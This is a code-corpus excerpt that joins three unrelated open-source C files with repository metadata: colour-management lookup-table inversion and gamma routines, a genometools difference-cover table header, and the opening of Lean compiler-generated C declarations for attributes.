a = (y1 - y0) / (x1 - x0);
b = y0 - a * x0;
if (fabs(a) < 0.01) return (uint16_fract_t) x;
f = ((Value - b) / a);
if (f < 0.0) return (uint16_fract_t) 0;
if (f >= 65535.0) return (uint16_fract_t) 0xFFFF;
return (uint16_fract_t) floor(f + 0.5);
}
// December/16 2015 - Moved this code out of lut_inverse_interp16
// in order to save computation in invert_lut loop.
static void count_zeroes_and_poles(uint16_t *LutTable, int length, int *NumZeroes, int *NumPoles)
{
int z = 0, p = 0;
while (LutTable[z] == 0 && z < length - 1)
z++;
*NumZeroes = z;
while (LutTable[length - 1 - p] == 0xFFFF && p < length - 1)
p++;
*NumPoles = p;
}
/*
The number of entries needed to invert a lookup table should not
necessarily be the same as the original number of entries. This is
especially true of lookup tables that have a small number of entries.
For example:
Using a table like:
{0, 3104, 14263, 34802, 65535}
invert_lut will produce an inverse of:
{3, 34459, 47529, 56801, 65535}
which has an maximum error of about 9855 (pixel difference of ~38.346)
For now, we punt the decision of output size to the caller. */
static uint16_t *invert_lut(uint16_t *table, int length, size_t out_length)
{
int NumZeroes;
int NumPoles;
int i;
/* for now we invert the lut by creating a lut of size out_length
* and attempting to lookup a value for each entry using lut_inverse_interp16 */
uint16_t *output = malloc(sizeof(uint16_t)*out_length);
if (!output)
return NULL;
// December/16 2015 - Compute the input curve zero and pole extents outside
// the loop and pass them to lut_inverse_interp16.
count_zeroes_and_poles(table, length, &NumZeroes, &NumPoles);
for (i = 0; i < out_length; i++) {
double x = ((double) i * 65535.) / (double) (out_length - 1);
uint16_fract_t input = floor(x + .5);
output[i] = lut_inverse_interp16(input, table, length, NumZeroes, NumPoles);
}
return output;
}
static void compute_precache_pow(uint8_t *output, float gamma)
{
uint32_t v = 0;
for (v = 0; v < PRECACHE_OUTPUT_SIZE; v++) {
//XXX: don't do integer/float conversion... and round?
output[v] = 255. * pow(v/(double)PRECACHE_OUTPUT_MAX, gamma);
}
}
void compute_precache_lut(uint8_t *output, uint16_t *table, int length)
{
uint32_t v = 0;
for (v = 0; v < PRECACHE_OUTPUT_SIZE; v++) {
output[v] = lut_interp_linear_precache_output(v, table, length);
}
}
void compute_precache_linear(uint8_t *output)
{
uint32_t v = 0;
for (v = 0; v < PRECACHE_OUTPUT_SIZE; v++) {
//XXX: round?
output[v] = v / (PRECACHE_OUTPUT_SIZE/256);
}
}
qcms_bool compute_precache(struct curveType *trc, uint8_t *output)
{
if (trc->type == PARAMETRIC_CURVE_TYPE) {
float gamma_table[256];
uint16_t gamma_table_uint[256];
uint16_t i;
uint16_t *inverted;
int inverted_size = 256;
compute_curve_gamma_table_type_parametric(gamma_table, trc->parameter, trc->count);
for(i = 0; i < 256; i++) {
gamma_table_uint[i] = (uint16_t)(gamma_table[i] * 65535);
}
//XXX: the choice of a minimum of 256 here is not backed by any theory,
// measurement or data, howeve r it is what lcms uses.
// the maximum number we would need is 65535 because that's the
// accuracy used for computing the pre cache table
if (inverted_size < 256)
inverted_size = 256;
inverted = invert_lut(gamma_table_uint, 256, inverted_size);
if (!inverted)
return false;
compute_precache_lut(output, inverted, inverted_size);
free(inverted);
} else {
if (trc->count == 0) {
compute_precache_linear(output);
} else if (trc->count == 1) {
compute_precache_pow(output, 1./u8Fixed8Number_to_float(trc->data[0]));
} else {
uint16_t *inverted;
int inverted_size = trc->count;
//XXX: the choice of a minimum of 256 here is not backed by any theory,
// measurement or data, howeve r it is what lcms uses.
// the maximum number we would need is 65535 because that's the
// accuracy used for computing the pre cache table
if (inverted_size < 256)
inverted_size = 256;
inverted = invert_lut(trc->data, trc->count, inverted_size);
if (!inverted)
return false;
compute_precache_lut(output, inverted, inverted_size);
free(inverted);
}
}
return true;
}
static uint16_t *build_linear_table(int length)
{
int i;
uint16_t *output = malloc(sizeof(uint16_t)*length);
if (!output)
return NULL;
for (i = 0; i < length; i++) {
double x = ((double) i * 65535.) / (double) (length - 1);
uint16_fract_t input = floor(x + .5);
output[i] = input;
}
return output;
}
static uint16_t *build_pow_table(float gamma, int length)
{
int i;
uint16_t *output = malloc(sizeof(uint16_t)*length);
if (!output)
return NULL;
for (i = 0; i < length; i++) {
uint16_fract_t result;
double x = ((double) i) / (double) (length - 1);
x = pow(x, gamma); //XXX turn this conversion into a function
result = floor(x*65535. + .5);
output[i] = result;
}
return output;
}
void build_output_lut(struct curveType *trc,
uint16_t **output_gamma_lut, size_t *output_gamma_lut_length)
{
if (trc->type == PARAMETRIC_CURVE_TYPE) {
float gamma_table[256];
uint16_t gamma_table_uint[256];
uint16_t i;
uint16_t *inverted;
int inverted_size = 4096;
compute_curve_gamma_table_type_parametric(gamma_table, trc->parameter, trc->count);
for(i = 0; i < 256; i++) {
gamma_table_uint[i] = (uint16_t)(gamma_table[i] * 65535);
}
//XXX: the choice of a minimum of 256 here is not backed by any theory,
// measurement or data, however it is what lcms uses.
// the maximum number we would need is 65535 because that's the
// accuracy used for computing the pre cache table
inverted = invert_lut(gamma_table_uint, 256, inverted_size);
if (!inverted)
return;
*output_gamma_lut = inverted;
*output_gamma_lut_length = inverted_size;
} else {
if (trc->count == 0) {
*output_gamma_lut = build_linear_table(4096);
*output_gamma_lut_length = 4096;
} else if (trc->count == 1) {
float gamma = 1./u8Fixed8Number_to_float(trc->data[0]);
*output_gamma_lut = build_pow_table(gamma, 4096);
*output_gamma_lut_length = 4096;
} else {
//XXX: the choice of a minimum of 256 here is not backed by any theory,
// measurement or data, however it is what lcms uses.
*output_gamma_lut_length = trc->count;
if (*output_gamma_lut_length < 256)
*output_gamma_lut_length = 256;
*output_gamma_lut = invert_lut(trc->data, trc->count, *output_gamma_lut_length);
}
}
}
size_t qcms_profile_get_parametric_curve(qcms_profile *profile, qcms_trc_channel channel, float data[7])
{
static const uint32_t COUNT_TO_LENGTH[5] = {1, 3, 4, 5, 7};
struct curveType *curve = NULL;
size_t size;
if (profile->color_space != RGB_SIGNATURE)
return 0;
switch(channel) {
case QCMS_TRC_RED:
curve = profile->redTRC;
break;
case QCMS_TRC_GREEN:
curve = profile->greenTRC;
break;
case QCMS_TRC_BLUE:
curve = profile->blueTRC;
break;
default:
return 0;
}
if (!curve || curve->type != PARAMETRIC_CURVE_TYPE)
return 0;
size = COUNT_TO_LENGTH[curve->count];
if (data)
memcpy(data, curve->parameter, size * sizeof(float));
return size;
}
|
ecc2493bbec92401a6f6e2c57cae73c89d9673ec
|
3bd385b466cb035fecd2b0c11ae054d42bf44fc2
|
/src/match/tab-diffcover.h
|
7b52e5894b3d3aebfeb0435184165a347986a54d
|
[
"LicenseRef-scancode-unknown-license-reference",
"ISC",
"BSD-2-Clause",
"LicenseRef-scancode-mit-old-style",
"Zlib",
"MIT",
"BSD-3-Clause",
"bzip2-1.0.6"
] |
permissive
|
genometools/genometools
|
c366dff04f6baa887f6b3be3ec55bce824b2bae1
|
df1df94b8c05a9c9bf848ffc6755c87b58573da5
|
refs/heads/master
| 2023-04-13T13:57:18.748796
| 2023-04-09T21:29:53
| 2023-04-09T21:29:53
| 11,177,980
| 237
| 63
|
NOASSERTION
| 2023-04-09T21:29:54
| 2013-07-04T13:39:38
|
C
|
UTF-8
|
C
| false
| false
| 13,507
|
h
|
tab-diffcover.h
|
/*
Copyright (c) 2009 Stefan Kurtz <kurtz@zbh.uni-hamburg.de>
Copyright (c) 2009 Center for Bioinformatics, University of Hamburg
Permission to use, copy, modify, and distribute this software for any
purpose with or without fee is hereby granted, provided that the above
copyright notice and this permission notice appear in all copies.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#ifndef TAB_DIFFCOVER_H
#define TAB_DIFFCOVER_H
static Diffvalue differencecovertab[] = {
/*
1
*/ UScast (0),
/*
2
*/ UScast (0), UScast (1),
/*
4
*/ UScast (0), UScast (1), UScast (2),
/*
8
*/ UScast (0), UScast (1), UScast (2), UScast (4),
/*
16
*/ UScast (0), UScast (1), UScast (2), UScast (5), UScast (8),
/*
32
*/ UScast (0), UScast (1), UScast (2), UScast (3), UScast (7),
UScast (11), UScast (19),
/*
64
*/ UScast (0), UScast (1), UScast (2), UScast (5),
UScast (14), UScast (16), UScast (34), UScast (42),
UScast (59),
/*
128
*/ UScast (0), UScast (1), UScast (3), UScast (7),
UScast (17), UScast (40), UScast (55), UScast (64),
UScast (75), UScast (85), UScast (104), UScast (109),
UScast (117),
/*
256
*/ UScast (0), UScast (1), UScast (3), UScast (7),
UScast (12), UScast (20), UScast (30), UScast (44),
UScast (65), UScast (80), UScast (89), UScast (96),
UScast (114), UScast (122), UScast (128), UScast (150),
UScast (196), UScast (197), UScast (201), UScast (219),
/*
512
*/ UScast (0), UScast (1), UScast (2), UScast (3), UScast (4),
UScast (9), UScast (18), UScast (27), UScast (36),
UScast (45), UScast (64), UScast (83), UScast (102),
UScast (121), UScast (140), UScast (159), UScast (178),
UScast (197), UScast (216), UScast (226), UScast (236),
UScast (246), UScast (256), UScast (266), UScast (267),
UScast (268), UScast (269), UScast (270),
/*
1024
*/ UScast (0), UScast (1), UScast (2), UScast (3), UScast (4),
UScast (5), UScast (6), UScast (13), UScast (26),
UScast (39), UScast (52), UScast (65), UScast (78),
UScast (91), UScast (118), UScast (145), UScast (172),
UScast (199), UScast (226), UScast (253), UScast (280),
UScast (307), UScast (334), UScast (361), UScast (388),
UScast (415), UScast (442), UScast (456), UScast (470),
UScast (484), UScast (498), UScast (512), UScast (526),
UScast (540), UScast (541), UScast (542), UScast (543),
UScast (544), UScast (545), UScast (546),
/*
2048
*/ UScast (0), UScast (1), UScast (2), UScast (3), UScast (4),
UScast (5), UScast (6), UScast (7), UScast (8), UScast (9),
UScast (19), UScast (38), UScast (57), UScast (76),
UScast (95), UScast (114), UScast (133), UScast (152),
UScast (171), UScast (190), UScast (229), UScast (268),
UScast (307), UScast (346), UScast (385), UScast (424),
UScast (463), UScast (502), UScast (541), UScast (580),
UScast (619), UScast (658), UScast (697), UScast (736),
UScast (775), UScast (814), UScast (853), UScast (892),
UScast (931), UScast (951), UScast (971), UScast (991),
UScast (1011), UScast (1031), UScast (1051), UScast (1071),
UScast (1091), UScast (1111), UScast (1131), UScast (1132),
UScast (1133), UScast (1134), UScast (1135), UScast (1136),
UScast (1137), UScast (1138), UScast (1139), UScast (1140),
/*
4096
*/ UScast (0), UScast (1), UScast (2), UScast (3), UScast (4),
UScast (5), UScast (6), UScast (7), UScast (8), UScast (9),
UScast (10), UScast (11), UScast (12), UScast (13),
UScast (27), UScast (54), UScast (81), UScast (108),
UScast (135), UScast (162), UScast (189), UScast (216),
UScast (243), UScast (270), UScast (297), UScast (324),
UScast (351), UScast (378), UScast (433), UScast (488),
UScast (543), UScast (598), UScast (653), UScast (708),
UScast (763), UScast (818), UScast (873), UScast (928),
UScast (983), UScast (1038), UScast (1093), UScast (1148),
UScast (1203), UScast (1258), UScast (1313), UScast (1368),
UScast (1423), UScast (1478), UScast (1533), UScast (1588),
UScast (1643), UScast (1698), UScast (1753), UScast (1808),
UScast (1863), UScast (1891), UScast (1919), UScast (1947),
UScast (1975), UScast (2003), UScast (2031), UScast (2059),
UScast (2087), UScast (2115), UScast (2143), UScast (2171),
UScast (2199), UScast (2227), UScast (2255), UScast (2256),
UScast (2257), UScast (2258), UScast (2259), UScast (2260),
UScast (2261), UScast (2262), UScast (2263), UScast (2264),
UScast (2265), UScast (2266), UScast (2267), UScast (2268),
/*
8192
*/ UScast (0), UScast (1), UScast (2), UScast (3), UScast (4),
UScast (5), UScast (6), UScast (7), UScast (8), UScast (9),
UScast (10), UScast (11), UScast (12), UScast (13),
UScast (14), UScast (15), UScast (16), UScast (17),
UScast (18), UScast (37), UScast (74), UScast (111),
UScast (148), UScast (185), UScast (222), UScast (259),
UScast (296), UScast (333), UScast (370), UScast (407),
UScast (444), UScast (481), UScast (518), UScast (555),
UScast (592), UScast (629), UScast (666), UScast (703),
UScast (778), UScast (853), UScast (928), UScast (1003),
UScast (1078), UScast (1153), UScast (1228), UScast (1303),
UScast (1378), UScast (1453), UScast (1528), UScast (1603),
UScast (1678), UScast (1753), UScast (1828), UScast (1903),
UScast (1978), UScast (2053), UScast (2128), UScast (2203),
UScast (2278), UScast (2353), UScast (2428), UScast (2503),
UScast (2578), UScast (2653), UScast (2728), UScast (2803),
UScast (2878), UScast (2953), UScast (3028), UScast (3103),
UScast (3178), UScast (3253), UScast (3328), UScast (3403),
UScast (3478), UScast (3516), UScast (3554), UScast (3592),
UScast (3630), UScast (3668), UScast (3706), UScast (3744),
UScast (3782), UScast (3820), UScast (3858), UScast (3896),
UScast (3934), UScast (3972), UScast (4010), UScast (4048),
UScast (4086), UScast (4124), UScast (4162), UScast (4200),
UScast (4201), UScast (4202), UScast (4203), UScast (4204),
UScast (4205), UScast (4206), UScast (4207), UScast (4208),
UScast (4209), UScast (4210), UScast (4211), UScast (4212),
UScast (4213), UScast (4214), UScast (4215), UScast (4216),
UScast (4217), UScast (4218),
/*
16384
*/ UScast (0), UScast (1), UScast (2), UScast (3), UScast (4),
UScast (5), UScast (6), UScast (7), UScast (8), UScast (9),
UScast (10), UScast (11), UScast (12), UScast (13),
UScast (14), UScast (15), UScast (16), UScast (17),
UScast (18), UScast (19), UScast (20), UScast (21),
UScast (22), UScast (23), UScast (24), UScast (25),
UScast (26), UScast (53), UScast (106), UScast (159),
UScast (212), UScast (265), UScast (318), UScast (371),
UScast (424), UScast (477), UScast (530), UScast (583),
UScast (636), UScast (689), UScast (742), UScast (795),
UScast (848), UScast (901), UScast (954), UScast (1007),
UScast (1060), UScast (1113), UScast (1166), UScast (1219),
UScast (1272), UScast (1325), UScast (1378), UScast (1431),
UScast (1538), UScast (1645), UScast (1752), UScast (1859),
UScast (1966), UScast (2073), UScast (2180), UScast (2287),
UScast (2394), UScast (2501), UScast (2608), UScast (2715),
UScast (2822), UScast (2929), UScast (3036), UScast (3143),
UScast (3250), UScast (3357), UScast (3464), UScast (3571),
UScast (3678), UScast (3785), UScast (3892), UScast (3999),
UScast (4106), UScast (4213), UScast (4320), UScast (4427),
UScast (4534), UScast (4641), UScast (4748), UScast (4855),
UScast (4962), UScast (5069), UScast (5176), UScast (5283),
UScast (5390), UScast (5497), UScast (5604), UScast (5711),
UScast (5818), UScast (5925), UScast (6032), UScast (6139),
UScast (6246), UScast (6353), UScast (6460), UScast (6567),
UScast (6674), UScast (6781), UScast (6888), UScast (6995),
UScast (7102), UScast (7156), UScast (7210), UScast (7264),
UScast (7318), UScast (7372), UScast (7426), UScast (7480),
UScast (7534), UScast (7588), UScast (7642), UScast (7696),
UScast (7750), UScast (7804), UScast (7858), UScast (7912),
UScast (7966), UScast (8020), UScast (8074), UScast (8128),
UScast (8182), UScast (8236), UScast (8290), UScast (8344),
UScast (8398), UScast (8452), UScast (8506), UScast (8560),
UScast (8561), UScast (8562), UScast (8563), UScast (8564),
UScast (8565), UScast (8566), UScast (8567), UScast (8568),
UScast (8569), UScast (8570), UScast (8571), UScast (8572),
UScast (8573), UScast (8574), UScast (8575), UScast (8576),
UScast (8577), UScast (8578), UScast (8579), UScast (8580),
UScast (8581), UScast (8582), UScast (8583), UScast (8584),
UScast (8585), UScast (8586),
/*
32768
*/ UScast (0), UScast (1), UScast (2), UScast (3), UScast (4),
UScast (5), UScast (6), UScast (7), UScast (8), UScast (9),
UScast (10), UScast (11), UScast (12), UScast (13),
UScast (14), UScast (15), UScast (16), UScast (17),
UScast (18), UScast (19), UScast (20), UScast (21),
UScast (22), UScast (23), UScast (24), UScast (25),
UScast (26), UScast (27), UScast (28), UScast (29),
UScast (30), UScast (31), UScast (32), UScast (33),
UScast (34), UScast (35), UScast (36), UScast (37),
UScast (75), UScast (150), UScast (225), UScast (300),
UScast (375), UScast (450), UScast (525), UScast (600),
UScast (675), UScast (750), UScast (825), UScast (900),
UScast (975), UScast (1050), UScast (1125), UScast (1200),
UScast (1275), UScast (1350), UScast (1425), UScast (1500),
UScast (1575), UScast (1650), UScast (1725), UScast (1800),
UScast (1875), UScast (1950), UScast (2025), UScast (2100),
UScast (2175), UScast (2250), UScast (2325), UScast (2400),
UScast (2475), UScast (2550), UScast (2625), UScast (2700),
UScast (2775), UScast (2850), UScast (3001), UScast (3152),
UScast (3303), UScast (3454), UScast (3605), UScast (3756),
UScast (3907), UScast (4058), UScast (4209), UScast (4360),
UScast (4511), UScast (4662), UScast (4813), UScast (4964),
UScast (5115), UScast (5266), UScast (5417), UScast (5568),
UScast (5719), UScast (5870), UScast (6021), UScast (6172),
UScast (6323), UScast (6474), UScast (6625), UScast (6776),
UScast (6927), UScast (7078), UScast (7229), UScast (7380),
UScast (7531), UScast (7682), UScast (7833), UScast (7984),
UScast (8135), UScast (8286), UScast (8437), UScast (8588),
UScast (8739), UScast (8890), UScast (9041), UScast (9192),
UScast (9343), UScast (9494), UScast (9645), UScast (9796),
UScast (9947), UScast (10098), UScast (10249),
UScast (10400), UScast (10551), UScast (10702),
UScast (10853), UScast (11004), UScast (11155),
UScast (11306), UScast (11457), UScast (11608),
UScast (11759), UScast (11910), UScast (12061),
UScast (12212), UScast (12363), UScast (12514),
UScast (12665), UScast (12816), UScast (12967),
UScast (13118), UScast (13269), UScast (13420),
UScast (13571), UScast (13722), UScast (13873),
UScast (14024), UScast (14175), UScast (14251),
UScast (14327), UScast (14403), UScast (14479),
UScast (14555), UScast (14631), UScast (14707),
UScast (14783), UScast (14859), UScast (14935),
UScast (15011), UScast (15087), UScast (15163),
UScast (15239), UScast (15315), UScast (15391),
UScast (15467), UScast (15543), UScast (15619),
UScast (15695), UScast (15771), UScast (15847),
UScast (15923), UScast (15999), UScast (16075),
UScast (16151), UScast (16227), UScast (16303),
UScast (16379), UScast (16455), UScast (16531),
UScast (16607), UScast (16683), UScast (16759),
UScast (16835), UScast (16911), UScast (16987),
UScast (17063), UScast (17064), UScast (17065),
UScast (17066), UScast (17067), UScast (17068),
UScast (17069), UScast (17070), UScast (17071),
UScast (17072), UScast (17073), UScast (17074),
UScast (17075), UScast (17076), UScast (17077),
UScast (17078), UScast (17079), UScast (17080),
UScast (17081), UScast (17082), UScast (17083),
UScast (17084), UScast (17085), UScast (17086),
UScast (17087), UScast (17088), UScast (17089),
UScast (17090), UScast (17091), UScast (17092),
UScast (17093), UScast (17094), UScast (17095),
UScast (17096), UScast (17097), UScast (17098),
UScast (17099), UScast (17100)
};
static Diffrank differencecoversizes[] = {
UCcast (1), /* 2^0 */
UCcast (2), /* 2^1 */
UCcast (3), /* 2^2 */
UCcast (4), /* 2^3 */
UCcast (5), /* 2^4 */
UCcast (7), /* 2^5 */
UCcast (9), /* 2^6 */
UCcast (13), /* 2^7 */
UCcast (20), /* 2^8 */
UCcast (28), /* 2^9 */
UCcast (40), /* 2^10 */
UCcast (58), /* 2^11 */
UCcast (82), /* 2^12 */
UCcast (112), /* 2^13 */
UCcast (160), /* 2^14 */
UCcast (226) /* 2^15 */
};
#endif
|
0ecc82c5d153f473771c136deb5da1ec1591aa6c
|
6432ea7a083ff6ba21ea17af9ee47b9c371760f7
|
/stage0/stdlib/Lean/Attributes.c
|
ba6ec6f01912d34a57112ed9abb481f049b45892
|
[
"Apache-2.0",
"LLVM-exception",
"NCSA",
"LGPL-3.0-only",
"LicenseRef-scancode-inner-net-2.0",
"BSD-3-Clause",
"LGPL-2.0-or-later",
"Spencer-94",
"LGPL-2.1-or-later",
"HPND",
"LicenseRef-scancode-pcre",
"ISC",
"LGPL-2.1-only",
"LicenseRef-scancode-other-permissive",
"SunPro",
"CMU-Mach"
] |
permissive
|
leanprover/lean4
|
4bdf9790294964627eb9be79f5e8f6157780b4cc
|
f1f9dc0f2f531af3312398999d8b8303fa5f096b
|
refs/heads/master
| 2023-08-30T01:57:45.786981
| 2023-08-29T23:14:28
| 2023-08-29T23:14:28
| 129,571,436
| 2,827
| 311
|
Apache-2.0
| 2023-09-14T18:29:16
| 2018-04-15T02:49:20
|
Lean
|
UTF-8
|
C
| false
| false
| 341,563
|
c
|
Attributes.c
|
// Lean compiler output
// Module: Lean.Attributes
// Imports: Init Lean.CoreM Lean.MonadEnv
#include <lean/lean.h>
#if defined(__clang__)
#pragma clang diagnostic ignored "-Wunused-parameter"
#pragma clang diagnostic ignored "-Wunused-label"
#elif defined(__GNUC__) && !defined(__CLANG__)
#pragma GCC diagnostic ignored "-Wunused-parameter"
#pragma GCC diagnostic ignored "-Wunused-label"
#pragma GCC diagnostic ignored "-Wunused-but-set-variable"
#endif
#ifdef __cplusplus
extern "C" {
#endif
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__7(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, uint8_t, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_findAux___at_Lean_getBuiltinAttributeImpl___spec__2___boxed(lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_registerTagAttribute___lambda__4___closed__2;
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute___rarg___lambda__6(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_ParametricAttributeImpl_afterImport___default___boxed(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l___auto____x40_Lean_Attributes___hyg_3178_;
LEAN_EXPORT uint8_t l_Lean_instInhabitedAttributeApplicationTime;
LEAN_EXPORT lean_object* l_Lean_instMonadLiftImportMAttrM___rarg___boxed(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_initFn____x40_Lean_Attributes___hyg_4552____lambda__1(lean_object*);
LEAN_EXPORT lean_object* l_Lean_getAttrParamOptPrio(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerBuiltinAttribute___lambda__1(lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_registerParametricAttribute___rarg___closed__1;
static lean_object* l_Lean_AttributeImpl_erase___default___rarg___closed__2;
static lean_object* l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__4;
LEAN_EXPORT lean_object* l_Lean_Attribute_erase(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_attributeMapRef;
lean_object* lean_mk_empty_array_with_capacity(lean_object*);
LEAN_EXPORT lean_object* l_Lean_RBNode_fold___at_Lean_registerParametricAttribute___spec__1___rarg(lean_object*, lean_object*);
size_t lean_usize_shift_right(size_t, size_t);
LEAN_EXPORT lean_object* l_Lean_AttributeApplicationTime_noConfusion___rarg___boxed(lean_object*, lean_object*, lean_object*);
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__10;
LEAN_EXPORT lean_object* l_Lean_instInhabitedAttributeImpl___lambda__2(lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_EnumAttributes_setValue___rarg___closed__1;
LEAN_EXPORT lean_object* l_Lean_Attribute_Builtin_getId(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_findAtAux___at_Lean_getBuiltinAttributeImpl___spec__3___boxed(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_registerParametricAttribute___rarg___lambda__4___closed__4;
LEAN_EXPORT lean_object* l_Lean_Attribute_Builtin_getPrio(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_HashMapImp_find_x3f___at_Lean_mkAttributeImplOfBuilder___spec__1(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_instInhabitedAttributeExtensionState;
static lean_object* l_Lean_registerEnumAttributes___rarg___lambda__3___closed__3;
LEAN_EXPORT lean_object* l_Lean_registerEnumAttributes___rarg___lambda__2(lean_object*);
lean_object* l_Lean_ConstantInfo_type(lean_object*);
static lean_object* l_Lean_registerBuiltinAttribute___lambda__1___closed__1;
uint8_t lean_usize_dec_le(size_t, size_t);
static lean_object* l_Lean_registerParametricAttribute___rarg___closed__4;
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_foldlM___at_Lean_updateEnvAttributesImpl___spec__1(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerEnumAttributes___rarg___boxed(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_getAttributeImpl___boxed(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute___rarg___lambda__5___boxed(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__1;
LEAN_EXPORT lean_object* l_Lean_getAttributeNames___boxed(lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerAttributeImplBuilder___lambda__1(lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__23;
size_t lean_uint64_to_usize(uint64_t);
LEAN_EXPORT lean_object* l_Array_foldlMUnsafe_fold___at___private_Lean_Attributes_0__Lean_AttributeExtension_addImported___spec__2___boxed(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_findAtAux___at_Lean_getBuiltinAttributeImpl___spec__3(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
lean_object* l_Lean_Name_toString(lean_object*, uint8_t);
LEAN_EXPORT lean_object* l_Lean_instMonadLiftImportMAttrM(lean_object*);
lean_object* l_Lean_Syntax_getId(lean_object*);
lean_object* lean_array_push(lean_object*, lean_object*);
static lean_object* l_Lean_instBEqAttributeKind___closed__1;
lean_object* l_Array_qpartition___rarg(lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_registerParametricAttribute___rarg___closed__3;
size_t lean_usize_mul(size_t, size_t);
lean_object* l_Lean_RBNode_fold___at_Lean_RBMap_size___spec__1___rarg(lean_object*, lean_object*);
static lean_object* l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2___closed__3;
LEAN_EXPORT lean_object* l_Lean_throwError___at_Lean_Attribute_Builtin_getIdent_x3f___spec__2(lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_Attribute_Builtin_ensureNoArgs___closed__4;
LEAN_EXPORT lean_object* l_Lean_ParametricAttributeImpl_afterImport___default(lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_Attribute_Builtin_getPrio___closed__1;
lean_object* lean_mk_array(lean_object*, lean_object*);
uint8_t lean_usize_dec_eq(size_t, size_t);
LEAN_EXPORT lean_object* l_Lean_throwError___at_Lean_getAttrParamOptPrio___spec__2___boxed(lean_object*, lean_object*, lean_object*, lean_object*);
extern uint8_t l_instInhabitedBool;
static lean_object* l_Lean_getBuiltinAttributeImpl___closed__1;
LEAN_EXPORT lean_object* l_Lean_mkAttributeImplOfConstantUnsafe(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_instInhabitedAttributeImpl;
lean_object* l_Lean_replaceRef(lean_object*, lean_object*);
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__7;
lean_object* lean_array_fget(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_throwErrorAt___at_Lean_getAttrParamOptPrio___spec__1(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_initFn____x40_Lean_Attributes___hyg_518____closed__1;
lean_object* lean_array_fset(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerEnumAttributes(lean_object*, lean_object*);
static lean_object* l_Lean_registerTagAttribute___lambda__6___closed__3;
static lean_object* l_Lean_instInhabitedTagAttribute___closed__6;
static lean_object* l_Lean_isAttribute___closed__1;
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_insertAtCollisionNodeAux___at_Lean_registerBuiltinAttribute___spec__4(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_EnumAttributes_getValue(lean_object*);
LEAN_EXPORT uint8_t l_Lean_PersistentHashMap_contains___at_Lean_registerBuiltinAttribute___spec__5(lean_object*, lean_object*);
lean_object* lean_environment_find(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_Attribute_Builtin_ensureNoArgs(lean_object*, lean_object*, lean_object*, lean_object*);
lean_object* l_Lean_RBNode_insert___at_Lean_NameSet_insert___spec__1(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_RBNode_find___at_Lean_ParametricAttribute_setParam___spec__1___rarg___boxed(lean_object*, lean_object*);
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__22;
static lean_object* l_Lean_getBuiltinAttributeNames___closed__1;
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__11;
static lean_object* l_Lean_EnumAttributes_setValue___rarg___closed__2;
LEAN_EXPORT lean_object* l_Lean_Attribute_add(lean_object*, lean_object*, lean_object*, uint8_t, lean_object*, lean_object*, lean_object*);
